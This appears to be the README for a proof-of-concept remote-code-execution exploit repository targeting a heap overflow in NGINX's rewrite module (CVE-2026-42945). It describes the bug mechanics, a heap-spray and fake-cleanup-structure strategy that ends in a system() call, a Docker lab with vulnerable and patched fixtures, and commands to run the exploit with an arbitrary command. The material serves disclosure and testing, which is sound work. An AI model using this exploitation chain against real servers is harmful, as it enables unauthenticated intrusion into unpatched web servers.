
PoC para CVE-2026-42945 (nginx Rift) — estouro de buffer no heap em ngx_http_rewrite_module. Inclui modos de detecção/sondagem/exploração, laboratório Docker de duas fixtures, descoberta empírica de endereços e varredura de offsets verificada por OOB. Divulgação original por depthfirst.
Prova de conceito de RCE para CVE-2026-42945, um estouro de buffer heap crítico no ngx_http_rewrite_module do NGINX introduzido em 2008. Permite execução remota de código não autenticada contra servidores que usam combinações de captura rewrite ... ?... + set.
Divulgação original da vulnerabilidade: depthfirst — encontrada juntamente com CVE-2026-42946, CVE-2026-40701, CVE-2026-42934 por meio do sistema autônomo de auditoria de código-fonte deles.
poc-CVE-2026-42945/
├── exploit.py — improved PoC (3 modes: --check / --probe / --exploit)
├── poc.py.orig — original depthfirst PoC (reference)
├── env/ — dual-fixture Docker lab
│ ├── Dockerfile (vuln: nginx commit 98fc3bb78)
│ ├── Dockerfile.patched (patched: release-1.31.0)
│ ├── docker-compose.yml (both services)
│ ├── nginx.conf (vulnerable rewrite + set config)
│ ├── entrypoint.sh (runs under setarch -R — ASLR off)
│ └── server.py (backend stub)
├── discover-addresses.sh — extract HEAP_BASE / LIBC_BASE / system() offset from running container
├── verify.sh — dual-fixture reproducer (exploit vuln, prove patched blocks)
├── setup.sh — build helper (legacy single-image)
├── references.md — full bug mechanics, exploitation strategy, mitigations
└── README.md — this file
Mecanismo de script de duas passagens, dessincronização da flag is_args:
is_args = 0 → aloca o comprimento bruto da capturais_args = 1 → expansão de 3x em ngx_escape_uri(NGX_ESCAPE_ARGS) → estouro de heapExploração: heap feng shui via corpo do POST /spray (bytes NUL permitidos no corpo, ngx_pool_cleanup_s falso plantado) + estouro de URI corrompendo o cabeçalho cleanup do ngx_pool_t adjacente. Destruição do pool → system(cmd).
Mecânica completa + estratégia de exploração em references.md.
| Product | Affected | Fixed |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Aviso do fornecedor: https://my.f5.com/manage/s/article/K000160932
# Build both fixtures
docker compose -f env/docker-compose.yml build
# Start lab (vuln=:19321, patched=:19421)
docker compose -f env/docker-compose.yml up -d
# Detect-only (no overflow trigger)
python3 exploit.py --check --host 127.0.0.1 --port 19321
# Full exploit
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
--cmd 'echo pwned > /tmp/rift'
docker exec nginx-rift-vuln cat /tmp/rift
# Dual-fixture verify (exploit vuln + confirm patched blocks)
./verify.sh
# Teardown
docker compose -f env/docker-compose.yml down
Alvos que não sejam localhost exigem a flag --i-have-tested-this (confirmação de que os offsets fixos correspondem ao build implantado).
Os valores padrão de --heap-base / --libc-base / --system-offset são os do laboratório incluído (Ubuntu 22.04 / glibc 2.35 / nginx commit 98fc3bb78 / ASLR desativado). Para um build novo ou uma libc diferente:
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# Copy values into exploit.py invocation
setarch -R. Alvos reais têm ASLR ativado — é necessário um primitivo adicional de vazamento de informações.rewrite ... ? + set $X $N no nginx.conf implantado. Muitas configurações reais não possuem isso.--check, a enumeração de offsets --probe, o fixture corrigido, o helper de descoberta de endereços e o verificador de fixture duplo.| Mode | Use case | Side effect |
|---|
--check | Detecta a presença da superfície de rewrite | Nenhum — envia apenas URIs de sondagem pequenas |
--probe | Enumera offsets de chegada do spray para ESTE build | Deruba worker(s) durante a busca; sem execução |
--exploit | Cadeia RCE completa | Queda do worker + chamada system() com --cmd |